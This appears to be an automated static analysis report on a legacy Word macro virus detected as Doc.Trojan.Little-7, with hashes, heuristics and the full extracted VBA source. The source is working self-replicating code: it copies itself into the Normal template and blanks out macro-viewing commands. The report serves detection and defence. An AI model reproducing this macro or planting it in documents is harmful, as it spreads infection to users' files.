Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 416b18198c3e49de…

MALICIOUS

Office (OLE)

32.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6c0770f581e3c1e6b50746035baa9c49 SHA-1: 4a9eb4011288018bbdfdd82fa0bcde42b5e73d5e SHA-256: 416b18198c3e49de882e1d4f1b7c450fbbf3639509ea4f58039f4af340b72e04
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy macro virus, including the presence of WordBasic markers and a VBA AutoOpen macro. The AutoOpen macro attempts to export its own code to 'c:\small.dll' and then import it, suggesting an attempt to establish persistence or load a secondary payload. The ClamAV detection 'Doc.Trojan.Little-7' further supports its malicious nature. The document body content appears to be unrelated boilerplate text.

Heuristics 4

  • ClamAV: Doc.Trojan.Little-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Little-7
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 845 bytes
SHA-256: 513fb57fad651f4f1403f5b8ff5e833252d28076fabe6b4e1a9971c75d874ea7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "s"
Sub AutoOpen()
On Error Resume Next
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\small", "small") = False) Then
ActiveDocument.VBProject.VBComponents("s").Export "c:\small.dll"
NormalTemplate.VBProject.VBComponents.Import ("c:\small.dll")
System.PrivateProfileString("", "HKEY_CURRENT_USER\small", "small") = True
ElseIf ActiveDocument.VBProject.VBComponents.Item("s").Name <> "s" Then
ActiveDocument.VBProject.VBComponents.Import ("c:\small.dll")
End If
End Sub
Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub